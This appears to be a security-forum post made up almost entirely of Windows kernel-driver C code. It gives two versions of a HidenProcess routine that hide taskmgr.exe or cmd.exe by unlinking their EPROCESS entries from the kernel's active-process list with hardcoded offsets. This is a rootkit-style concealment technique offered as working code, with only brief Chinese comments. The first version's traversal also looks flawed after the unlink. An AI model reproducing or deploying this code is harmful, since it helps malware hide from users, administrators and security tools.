VOID HidenProcess(VOID)
{
	DWORD Eprocess,CurrentProcess;
	char *pName;
	PLIST_ENTRY pHeadList;
	Eprocess=CurrentProcess=(DWORD)PsGetCurrentProcess();
	_try	{
	do
		{
			pName=(char *)(Eprocess+0x174);
			if (!strcmp(pName,"taskmgr.exe"))
			{
				pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
				//RemoveEntryList(pHeadList);
				*(DWORD *)pHeadList->Blink=(DWORD)pHeadList->Flink;
				*((DWORD *)pHeadList->Flink+1)=(DWORD)pHeadList->Blink;
//上面二句结合双链表图理解
				InitializeListHead(pHeadList);//让它指向自身
			}
			pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
			Eprocess=(DWORD)(pHeadList->Flink-0x88);
		}	while(Eprocess!=CurrentProcess);
			}
				_except(1)
						{
							KdPrint(("Error\n"));
						}
}

VOID HidenProcess()
{
DWORD Eprocess,CurrentProcess,HidenEprocess;
BOOL HidenFlags;
char *pName;
PLIST_ENTRY pHeadList,HidenList;
Eprocess=CurrentProcess=(DWORD)PsGetCurrentProcess();
HidenFlags=FALSE;
_try {
do
{
pName=(char *)(Eprocess+0x174);
if (!strcmp(pName,"cmd.exe"))
{
KdPrint(("aa\n"));
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
//
HidenList=pHeadList;
HidenEprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
//
//RemoveEntryList(pHeadList);
*(DWORD *)pHeadList->Blink=(DWORD)pHeadList->Flink;
*((DWORD *)pHeadList->Flink+1)=(DWORD)pHeadList->Blink;
//InitializeListHead(pHeadList);
pHeadList->Flink=(PLIST_ENTRY)&(pHeadList->Flink);
pHeadList->Blink=(PLIST_ENTRY)&(pHeadList->Flink);
HidenFlags=TRUE;
}
if (HidenFlags)
{
Eprocess=HidenEprocess;
HidenFlags=FALSE;
} else
{
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
Eprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
}


} while(Eprocess!=CurrentProcess);
}
_except(1)
{
KdPrint(("Error\n"));
}
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！